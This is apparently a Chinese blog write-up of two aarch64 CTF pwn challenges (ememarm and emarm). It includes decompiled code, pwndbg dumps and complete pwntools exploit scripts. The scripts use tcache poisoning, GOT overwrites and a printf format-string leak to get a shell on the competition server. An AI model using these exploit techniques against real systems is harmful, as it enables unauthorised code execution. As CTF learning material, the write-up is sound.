比完后速度開肝WP

總分: 850 排名: 33
第一次這么長(shuang)時間肝比賽
3整天+1晚(理論上來說還有一早但我沒用)
不得不說還是挺有意思的
PWN2 ememarm
aarch64架構
上網搜到了環境配置:
socat tcp-l:$port,fork exec:"$command",reuseaddr
譬如:
socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 ememarm",reuseaddr
這樣pwntools訪問localhost:10002, gdb remote localhost:1234即可除錯
當然在之前還要:
- 要有
qemu-aarch64和patchelf - 配置
/lib/ld-linux-aarch64.so.1ln -s `pwd`/ld-linux-aarch64.so.1 /lib/ld-linux-aarch64.so.1 - 修改libc
patchelf --replace-needed libc.so.6 `pwd`/libc.so.6 $elf
這個方法同樣適用于PWN1 emarm和IOT3 PPPPPPC以及所有與你本機架構不同的普通PWN題 (一般來說就是非Intel架構,除非你家是arm之類)
然后便可以看libc版本:
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
2.27,有tcache
別忘了查看保護:
$ checksec ememarm
[*] '$PWD/ememarm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
再看程式邏輯:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice; // [xsp+1Ch] [xbp+1Ch]
int var; // [xsp+20h] [xbp+20h]
int count; // [xsp+24h] [xbp+24h]
void *v7; // [xsp+28h] [xbp+28h]
struc_1 *head; // [xsp+30h] [xbp+30h]
struc_1 *a2; // [xsp+38h] [xbp+38h]
struc_1 *ptr; // [xsp+40h] [xbp+40h]
buf_init();
count = 0;
v7 = &unk_412070;
printf("hello every one welcom my note ~~%lld\n", &unk_412070);
head = (struc_1 *)malloc(0x20uLL);
read(0LL, head, 24LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
scanf("%d", &choice);
if ( choice != 1 )
break;
ptr = request();
puts("do you want delete?");
scanf("%d", &var);
if ( var == 1 )
add(head, ptr);
}
if ( choice != 2 || count > 10 )
break;
scanf("%d", &var);
noprint(head, var);
++count;
}
if ( choice != 3 || count > 10 )
break;
scanf("%d", &var);
edit(head, var);
++count;
}
if ( choice != 4 )
break;
a2 = request_big();
puts("do you want delete?");
scanf("%d", &var);
if ( var == 1 )
add(head, a2);
}
puts("bye bye bye!!\n");
free(head);
return 0;
}
常規選單式堆題
應該能看出中間有結構體:
struc_1 struc ; (sizeof=0x20, mappedto_30)
x DCQ ?
y DCQ ?
field_10 DCQ ?
next DCQ ?
struc_1 ends
并且用next指標組成一個單向鏈表:
void __fastcall add(struc_1 *head, struc_1 *ptr)
{
struc_1 *i; // [xsp+8h] [xbp-8h]
for ( i = head; i->next; i = i->next )
;
i->next = ptr;
}
但注意print功能是假的:
__int64 __fastcall noprint(struc_1 *head, int pos)
{
int v3; // [xsp+14h] [xbp+14h]
struc_1 *v4; // [xsp+28h] [xbp+28h]
v3 = pos;
v4 = head->next;
if ( pos <= 0 )
puts("incrrect position to node");
if ( !v4 )
puts("the link empty");
while ( --v3 )
{
v4 = v4->next;
if ( !v4 )
{
puts("can't print it");
return puts("hahah i can't give you");
}
}
return puts("hahah i can't give you");
}
漏洞點是edit功能中有一個null off by one:
void __fastcall edit(struc_1 *head, int pos)
{
int i; // [xsp+14h] [xbp+14h]
struc_1 *ptr; // [xsp+20h] [xbp+20h]
i = pos;
ptr = head->next;
if ( head->x )
{
if ( pos >= 0 )
{
if ( !ptr )
puts("Link is empty");
while ( --i )
{
ptr = ptr->next;
if ( !ptr )
{
printf("no can't find it");
break;
}
}
if ( (unsigned int)read(0LL, ptr, 24LL) == 24 )
LOBYTE(ptr->next) = 0; // dan
free(ptr->next);
ptr->next = 0LL;
}
else
{
puts("incrrect position to search node ");
}
}
else
{
puts("nonono\n");
read(0LL, head, 16LL);
}
}
開一下除錯:
Breakpoint *0x400c74
pwndbg> heap
heap: This command only works with libc debug symbols.
They can probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
pwndbg> bin
bins: This command only works with libc debug symbols.
They can probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
pwndbg> x /gx $sp+0x30
0x40007ffdd0: 0x0000000000413260
pwndbg> x /32gx 0x413250
0x413250: 0x0000000000000000 0x0000000000000031
0x413260: 0x000000000a333231 0x0000000000000000
0x413270: 0x0000000000000000 0x0000000000000000
0x413280: 0x0000000000000000 0x0000000000020d81
0x413290: 0x0000000000000000 0x0000000000000000
0x4132a0: 0x0000000000000000 0x0000000000000000
0x4132b0: 0x0000000000000000 0x0000000000000000
0x4132c0: 0x0000000000000000 0x0000000000000000
0x4132d0: 0x0000000000000000 0x0000000000000000
0x4132e0: 0x0000000000000000 0x0000000000000000
0x4132f0: 0x0000000000000000 0x0000000000000000
0x413300: 0x0000000000000000 0x0000000000000000
0x413310: 0x0000000000000000 0x0000000000000000
0x413320: 0x0000000000000000 0x0000000000000000
0x413330: 0x0000000000000000 0x0000000000000000
0x413340: 0x0000000000000000 0x0000000000000000
還有,本地和靶機用的都是qemu,默認是不開ASLR的,所以這里的地址是可以直接用的
而且因為給的libc沒有debug資訊,所以pwndbg的heap和bin都是用不了的
那么利用null off by one,我們可以執行free(0x413300),所以我們想在0x4132f0處偽造堆塊
大抵像這樣:
pwndbg> x /40gx 0x413250
0x413250: 0x0000000000000000 0x0000000000000031
0x413260: 0x000000000000000a 0x0000000000000000
0x413270: 0x0000000000000000 0x00000000004132f0
0x413280: 0x0000000000000000 0x0000000000000031
0x413290: 0x0000000000000031 0x0000000000000031
0x4132a0: 0x0000000000000000 0x0000000000000000
0x4132b0: 0x0000000000000000 0x0000000000000031
0x4132c0: 0x0000000000000031 0x0000000000000031
0x4132d0: 0x0000000000000000 0x0000000000000000
0x4132e0: 0x0000000000000000 0x0000000000000041
0x4132f0: 0x0000000000000000 0x0000000000000031 <- 注意這里偽造了堆塊
0x413300: 0x0000000000000000 0x0000000000413330
0x413310: 0x0000000000000000 0x0000000000000000
0x413320: 0x0000000000000000 0x0000000000000041
0x413330: 0x0000000000000032 0x0000000000000032
0x413340: 0x0000000000000000 0x0000000000000000
0x413350: 0x0000000000000000 0x0000000000000000
0x413360: 0x0000000000000000 0x0000000000020ca1
0x413370: 0x0000000000000000 0x0000000000000000
0x413380: 0x0000000000000000 0x0000000000000000
edit off by one, free(0x413300)
然而bin用不了,并看不出什么變化
再edit,修改tcache鏈表指標:
pwndbg> x /40gx 0x413250
0x413250: 0x0000000000000000 0x0000000000000031
0x413260: 0x000000000000000a 0x0000000000000000
0x413270: 0x0000000000000000 0x00000000004132f0
0x413280: 0x0000000000000000 0x0000000000000031
0x413290: 0x0000000000000031 0x0000000000000031
0x4132a0: 0x0000000000000000 0x0000000000000000
0x4132b0: 0x0000000000000000 0x0000000000000031
0x4132c0: 0x0000000000000031 0x0000000000000031
0x4132d0: 0x0000000000000000 0x0000000000000000
0x4132e0: 0x0000000000000000 0x0000000000000041
0x4132f0: 0x0000000000000000 0x0000000000000031
0x413300: 0x0000000000412030 0x0000000000000000 <- 注意修改的指標
0x413310: 0x0000000000000000 0x0000000000000000
0x413320: 0x0000000000000000 0x0000000000000041
0x413330: 0x0000000000000032 0x0000000000000032
0x413340: 0x0000000000000000 0x0000000000000000
0x413350: 0x0000000000000000 0x0000000000000000
0x413360: 0x0000000000000000 0x0000000000020ca1
0x413370: 0x0000000000000000 0x0000000000000000
0x413380: 0x0000000000000000 0x0000000000000000
pwndbg> x /2gx 0x412030
0x412030 <puts@got.plt>: 0x0000004000893f40 0x00000040008a7790
連續malloc(0x20)兩次:
pwndbg> x /40gx 0x413250
0x413250: 0x0000000000000000 0x0000000000000031
0x413260: 0x000000000000000a 0x0000000000000000
0x413270: 0x0000000000000000 0x00000000004132f0
0x413280: 0x0000000000000000 0x0000000000000031
0x413290: 0x0000000000000031 0x0000000000000031
0x4132a0: 0x0000000000000000 0x0000000000000000
0x4132b0: 0x0000000000000000 0x0000000000000031
0x4132c0: 0x0000000000000031 0x0000000000000031
0x4132d0: 0x0000000000000000 0x0000000000000000
0x4132e0: 0x0000000000000000 0x0000000000000041
0x4132f0: 0x0000000000000000 0x0000000000000031
0x413300: 0x0068732f6e69622f 0x0000000000412030
0x413310: 0x0000000000000000 0x0000000000000000
0x413320: 0x0000000000000000 0x0000000000000041
0x413330: 0x0000000000000032 0x0000000000000032
0x413340: 0x0000000000000000 0x0000000000000000
0x413350: 0x0000000000000000 0x0000000000000000
0x413360: 0x0000000000000000 0x0000000000020ca1
0x413370: 0x0000000000000000 0x0000000000000000
0x413380: 0x0000000000000000 0x0000000000000000
pwndbg> x /2gx 0x412030
0x412030 <puts@got.plt>: 0x0000004000893f40 0x0000000000400740 <- 注意free的got表被修改了
再edit觸發free,實際呼叫puts,得到puts地址
泄露Exp:
from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64')
elf = ELF('./ememarm')
# sh = remote('183.129.189.60', 10034)
# sh = process('./run.sh')
sh = remote('127.0.0.1', 10002)
libc = ELF('./libc.so.6')
# attach(sh)
# raw_input()
def request(x, y, add):
sh.sendlineafter('choice:', '1')
sh.sendafter('cx:', x)
sh.sendafter('cy:', y)
sh.sendlineafter('delete?', str(add))
def request_big(x, y, add):
sh.sendlineafter('choice:', '4')
sh.sendafter('cx:', x)
sh.sendafter('cy:', y)
sh.sendlineafter('delete?', str(add))
def edit(pos, content):
sh.sendlineafter('choice: \n', '3')
sleep(1)
sh.sendline(str(pos))
sleep(1)
sh.send(content)
sh.sendlineafter('4268144', '')
request('1', '1', 0)
request('1', '1', 0)
request_big('2', '2', 1)
request_big('2', '2', 1)
edit(1, flat(0, 0x31, 0))
edit(1, flat(0, 0x31, elf.got['free']-8))
request('/bin/sh', p64(0), 0)
# request('/bin/sh', p64(0), 1)
request(p8(libc.sym['puts'] % 0x100), p64(elf.plt['puts']), 1)
# request(p8(libc.sym['puts'] % 0x100), p64(0x400086f2c8), 0)
# request_big(p64(elf.got['printf'], '4', 1))
edit(1, '\0')
puts_addr=u64(sh.recvuntil('\n1. ')[:-4].ljust(8,'\0'))+0x4000000000
libc_base=puts_addr-libc.sym['puts']
log.info('system='+hex(libc_base+libc.sym['system'])) # 0x400086f2c8
sh.interactive()
sh.close()
因為實際地址中第四位元組是0x00,所以前面的0x40輸出不出來,需要手動加上
多跑幾遍,發現地址一直不變,我們就能斷定它沒開ASLR,并得到system的地址為0x400086f2c8
get shell Exp:
from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64')
elf = ELF('./ememarm')
# sh = remote('183.129.189.60', 10034)
# sh = process('./run.sh')
sh = remote('127.0.0.1', 10002)
libc = ELF('./libc.so.6')
# attach(sh)
# raw_input()
def request(x, y, add):
sh.sendlineafter('choice:', '1')
sh.sendafter('cx:', x)
sh.sendafter('cy:', y)
sh.sendlineafter('delete?', str(add))
def request_big(x, y, add):
sh.sendlineafter('choice:', '4')
sh.sendafter('cx:', x)
sh.sendafter('cy:', y)
sh.sendlineafter('delete?', str(add))
def edit(pos, content):
sh.sendlineafter('choice: \n', '3')
sleep(1)
sh.sendline(str(pos))
sleep(1)
sh.send(content)
sh.sendlineafter('4268144', '')
request('1', '1', 0)
request('1', '1', 0)
request_big('2', '2', 1)
request_big('2', '2', 1)
edit(1, flat(0, 0x31, 0))
edit(1, flat(0, 0x31, elf.got['free']-8))
# request('/bin/sh', p64(0), 0)
request('/bin/sh', p64(0), 1)
# request(p8(libc.sym['puts'] % 0x100), p64(elf.plt['puts']), 1)
request(p8(libc.sym['puts'] % 0x100), p64(0x400086f2c8), 0)
# request_big(p64(elf.got['printf'], '4', 1))
edit(1, '\0')
# puts_addr = u64(sh.recvuntil('\n1. ')[:-4].ljust(8, '\0'))+0x4000000000
# libc_base = puts_addr-libc.sym['puts']
# log.info('system='+hex(libc_base+libc.sym['system'])) # 0x400086f2c8
sh.interactive()
sh.close()
同理的,不再贅述
PWN1 emarm
$ checksec emarm
[*] '$PWD/emarm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 frand; // ST30_8
int pwlen; // ST18_4
void *v6; // ST40_8
signed int v7; // [xsp+20h] [xbp+20h]
int v8; // [xsp+2Ch] [xbp+2Ch]
__int64 fbye; // [xsp+38h] [xbp+38h]
char v10[4]; // [xsp+48h] [xbp+48h]
char v11[4]; // [xsp+50h] [xbp+50h]
char unk[8]; // [xsp+58h] [xbp+58h]
char passwd[8]; // [xsp+60h] [xbp+60h]
char buf[8]; // [xsp+68h] [xbp+68h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
frand = fopen("/dev/urandom", "r");
fbye = fopen("bye", "r");
fread(unk, 8LL, 1LL, frand);
fclose(frand);
say_hi();
puts("passwd:");
__isoc99_scanf("%8s", passwd);
pwlen = strlen(passwd);
if ( !(unsigned int)strncmp(unk, passwd, pwlen) )
{
read(0, buf, 8uLL);
v7 = strlen(buf);
if ( v7 > 7 )
return 0;
v6 = (void *)atoi(buf);
printf("you will success");
if ( (signed int)read(0, v6, 8uLL) < 0 )
return 0;
puts("i leave for you bye");
read(0, v10, 4uLL);
if ( v7 < 0 )
return 0;
v8 = atoi(v10);
if ( v8 > 4 || v8 < 0 )
return 0;
fread(v11, v8, 1LL, fbye);
puts(v11);
fclose(fbye);
}
return 0;
}
-
雖然大家都知道strncmp是什么,但還是建議大家看一下reference
摘自cppreference:回傳值
若字典序中 lhs 先出現于 rhs 則為負值,
若 lhs 與 rhs 比較相等,或若 count 為零,則為零,
若字典序中 lhs 后出現于 rhs 則為正值,所以passwd給
'\0'就行,就不需要進行 1 256 \frac1{256} 2561?的爆破了 -
read(0, buf, 8uLL); v7 = strlen(buf); if ( v7 > 7 ) return 0; v6 = (void *)atoi(buf); printf("you will success"); if ( (signed int)read(0, v6, 8uLL) < 0 ) return 0;這是個比較明顯的任意地址寫(當然是
0xffffffff以下的地址) -
別想些亂七八糟的東西,bye檔案中就是一個簡單的
bye~
思路當然是改got表,但是怎么leak呢?
因為我們很難將引數直接改為got表地址,所以我采用printf來進行leak
但你簡單除錯一下就會發現,可控制的引數偏移已經大于10了,如果我們這樣呼叫:
printf("%17$s");
會發現要寫5個字符!而任意地址寫之后的read卻只讀入4個字符:
read(0, v10, 4uLL);
if ( v7 < 0 )
return 0;
v8 = atoi(v10);
所以我們得用之前的read,能讀8個位元組
- 修改fread的got表為0x400be4,開始回圈
- 修改strlen的got表為printf的plt地址,并且在v10中寫fopen的got表地址
- 除錯確定引數偏移為17, send
"%17$s",就會執行printf("%17$s"),并且該引數為fopen的got地址,自然會泄露fopen的地址為0x4000892448
leak exploit:
from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64', log_level='debug')
elf = ELF('./emarm')
libc = ELF('./libc.so.6')
sh = remote('183.129.189.60', 10012)
# sh = remote('127.0.0.1', 10002)
# sh = process('./')
# attach(sh)
# raw_input()
bss = 0x412090
fini = 0x411dd8
fopen = 0x4000892448
libc_base = fopen-libc.sym['fopen']
system = libc_base+libc.sym['system']
sh.sendlineafter('passwd:', '\0')
sleep(1)
sh.send(str(elf.got['fread']))
sh.sendafter('you will success', p64(0x400be4))
sh.sendafter('bye', '1')
sleep(1)
sh.send(str(elf.got['strlen']))
sh.sendafter('you will success', p64(elf.plt['printf']))
# sh.sendafter('you will success', p64(system))
sh.sendafter('bye', p32(elf.got['fopen']))
sleep(1)
sh.send('%17$s\0')
# sh.send('sh\0')
log.info('system='+hex(system))
sh.interactive()
sh.close()
然后這次又雙叒叕沒有開ASLR,意味著libc地址又不變
簡單改一下就是getshell exploit:
from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64', log_level='debug')
elf = ELF('./emarm')
libc = ELF('./libc.so.6')
sh = remote('183.129.189.60', 10012)
# sh = remote('127.0.0.1', 10002)
# sh = process('./')
# attach(sh)
# raw_input()
bss = 0x412090
fini = 0x411dd8
fopen = 0x4000892448
libc_base = fopen-libc.sym['fopen']
system = libc_base+libc.sym['system']
sh.sendlineafter('passwd:', '\0')
sleep(1)
sh.send(str(elf.got['fread']))
sh.sendafter('you will success', p64(0x400be4))
sh.sendafter('bye', '1')
sleep(1)
sh.send(str(elf.got['strlen']))
# sh.sendafter('you will success', p64(elf.plt['printf']))
sh.sendafter('you will success', p64(system))
sh.sendafter('bye', p32(elf.got['fopen']))
sleep(1)
# sh.send('%17$s\0')
sh.send('sh\0')
log.info('system='+hex(system))
sh.interactive()
sh.close()
剩下的WriteUp日更哦,明天見!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/256010.html
標籤:其他
上一篇:【C++初階】淺談參考和行內函式
